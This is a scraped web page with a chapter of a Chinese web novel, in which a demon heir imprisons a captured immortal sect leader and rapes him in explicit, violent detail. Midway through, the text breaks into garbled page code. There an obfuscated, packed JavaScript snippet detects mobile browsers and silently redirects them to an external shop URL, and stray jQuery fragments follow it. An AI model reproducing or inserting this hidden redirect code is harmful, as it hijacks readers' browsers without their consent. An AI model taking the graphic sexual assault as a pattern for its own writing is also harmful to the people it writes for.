文趣网 > 都市小说 > 反派成了我老婆 > 2. 耻辱
    陆长绝重新回到魔宫,几日前破败已一扫而空,柱子上溅的血滴也已经被洗干净,殿内铺上新毯,华美的桌椅重新摆上,倒是有陆长绝记忆中的模样。

    陆长绝小时候在这里长大,修士子嗣稀少,他父亲母亲感情极好,多年好不容易才生一子,如宝似玉地养大,记事起那象征权位的椅子他就能随意坐,也能骑在老魔尊肩膀上。

    再多的,陆长绝也记不住了,这种日子好像持续十多年,家破人亡也不过一夕之间,万千宠爱的前半生画以残酷句号。

    陆长绝微微一晃神,就听到有人出声:“主子。”

    是沧冥的妹妹叫沧兰。

    “怎么了?”

    沧兰视线看过去,陆长绝把杜荣随手放在地上,昏沉一人双眼紧闭,墨发垂落间依稀能看到一张面容。

    是阆风仙尊,衣袂染血,但还活着。

    陆长绝像是摸猫摸狗似的摸了一把杜荣,他吩咐沧兰:“把东边院子布下阵法,多埋些镇魂石,收拾好了叫我。”

    镇魂石,常用来修士驯兽。

    那些天生地养的妖兽生来骄傲,哪能愿意被豢养着签订契约供人驱使,便想方设法的赶到一处布下发阵的地界中,埋镇魂石压制住,一旦踏入,无论妖兽还是修士能力尽消,与手无缚鸡之力的凡人无异。

    这是……不愿意杀。

    沧兰面上犹豫,陆长绝说:“有话直说。”

    沧兰迟疑开口:“听闻阆风仙尊是凡人出身,在仙界中无依无靠,身居高位执掌一方全靠自身善谋,迟则生变,不如直接除掉。”

    陆长绝看她一眼,也不生气,他睨着杜荣:“死是最简单的,一点一点毁了他所在意的,这才是报仇。 ”

    见陆长绝主意已定,沧兰便不多言,从暗处退下。

    *

    杜荣醒来的时候,第一眼看到的是床幔垂下,紧接着,疲累困乏潮水一般将他淹没,身重如石。

    有镇魂石。

    杜荣猛地起身却被痛意拉住,他咽下溢出口的痛吟,视线死死地盯着帷幕,双眼睁圆,浑身紧绷。

    帷幕挑开,一张恣意面容浮现,陆长绝微微一笑:“阆风仙尊,萍踪一面阔别经年,自我介绍一下,我是陆长绝。”

    他咬文嚼字刻意放得很慢,每一个字好像凿刻出来,含着千钧力道。

    杜荣盯着那张含着笑意的脸,指骨下意识收紧,陆是魔界皇族姓氏,如今魔尊是陆古,大概和陆古也有渊源,杜荣为仙门魁首,也享过万宗朝拜,被人记住这事太普遍。

    杜荣心中不敢有丝毫放松,他视线一抬:“想必你和魔尊陆古同出一脉,你是陆古派来的?他人在何处?”

    魔界打压已久,从太乙三十二年起的就将魔族赶到火域以西,又经年敲打,想必攒了许多怒火。

    陆长绝闲闲一笑,也不否认,视线刀子似的落在杜荣身上:“昔年仙尊高坐云台,又亲自带人围剿我魔域,可曾想过有朝一日落入我手?”

    这是杜荣最担心的。

    他树敌众多,想杀他的人不知多少,不过这天下所有的事离不开利益,能杀却未杀,一定是有所图。

    既然有所图,那就有机会。

    杜荣冷冷一笑:“要杀要剐,悉听尊便。”

    陆长绝视线落在他身,忽然伸手扳住对方下巴,强迫那人抬头:“杀或者剐太便宜你。”他视线沿着对方领口下滑,带着令人心惊肉跳的意图:“不过这身皮囊确实不错。”

    杜荣脸色终于一变。

    “你疯了?”杜荣止不住出声:“我是天衍宗宗主,号令仙界,你得罪了我整个魔界下场要清楚。”他飞快地左右看去,从那重重帷幕中寻找别人,眼看着对面男人伸出了手,杜荣色厉内荏地吼:“让陆古出来见我!”

    身上布料应声而碎,整个上身暴露在空气中,杜荣心跳奇快,挥手朝着对方打去:“滚!”

    镇魂石埋下的阵法里,谁踏入了灵力都被封,杜荣虽不是体修,但成年男人卯足力气的一拳也够人喝一壶,陆长绝抓住挥面而来的拳头,腕骨用力握住反折,杜荣只觉得钝痛袭来,手腕已经被反折摁到头顶!

    他咬牙,提膝去踹,膝盖狠狠撞在柔软的腹部,他听见陆长绝闷哼一声,手上桎梏微微一松,他翻身从榻上下来,拉开帷帐就跑。

    长长帷帐遮挡视线,像是一面面墙,杜荣也不管路在哪里,钻进去拔腿狂奔,他心跳如雷,一下一下地要从喉咙口跳出来,耳边呼吸声又急又紧,他跑了几步后顿住,如遭雷击。

    不对……

    杜荣转身,陆长绝微笑盯着他:“阆风仙尊好眼力,帷帐上也布了阵法,仙尊就是跑断腿也出不去。”</

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17753798|209477||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    p>

    他像是看够了,一下一下朝着杜荣走来,杜荣喉结滚动,额头上出了一层细汗,他仍旧在出声,意图说服对方:“你冷静些,我不是炉鼎体质,和你双修也无用,改日送你——啊!”

    又是一声布料撕碎的声音。

    杜荣被一下子摁倒在地上,像是被山撞倒,他重重摔在地上,身上覆着灼热的体温。

    他仍旧挣扎着,又被对方摁倒。脚踝被捏住,像是一张弓被人拉开。

    接着——

    被劈开,刺入!

    所有的声音都消失,喉咙里被铅块堵住,眼前一切好像都扭曲,只有被桎梏的感觉是清楚的,只有痛是深刻的。

    一寸一寸,破开血肉,没入内里。

    他皮肉绷紧,像是被拉满的弓弦,脖颈上血管凸起,青筋毕露,他死死地盯着眼前人,接着张口,一口咬住陆长绝脖颈。

    齿关用力,牙齿被赋予报仇雪恨的责任,所有的屈辱汇集在牙齿上,他野兽一样地撕咬。

    血腥味瞬间涌入口腔,他听到对方哼了一声,在寸寸侵略中发狠地啃咬,他恨不得变成一头狼,一头野兽,去咬断这人的脖子。

    用力太久,齿关蓦地一松,嘴里有一坨软东西,大脑已经给出答案,他咬下了陆长绝一块肉,浓烈的血腥味涌入口腔,血泉涌似的溢到嘴巴,杜荣去看,陆长绝紧紧盯着他,脖颈被鲜血染红,扯唇一笑,宛如恶鬼:“仙尊,该我了!”

    该我了!

    这些年怨恨、苦楚、一切都该有个收场。

    陆长绝瞳孔放大呼吸急促,感觉到自己血液朝着一处涌入,他想撕碎他,想杀了他,想将他彻底打碎,最好让他魂飞魄散,永世不得超生!

    看着陆长绝眼神,不知怎的,杜荣突然觉得毛骨悚然。

    他呸的一声吐出口中东西,味蕾疯狂叫嚣着这是什么东西,他恶心得想吐,身下的感受闪电般传来,浑身骨骼似乎都发出战栗,咬牙忍住一切感受。

    如今人为刀俎,我为鱼肉。

    杜荣手掌死死扣住地上毯子,骨节泛起了青白,他咬着牙闭上眼睛,在这间隙偶尔溢出一声。

    愤怒、屈辱、不甘、杀意铺天盖地地袭来,杜荣想,他一定要杀了陆长绝。

    他一定会杀了陆长绝。

    今日之耻,来日必定用鲜血洗去!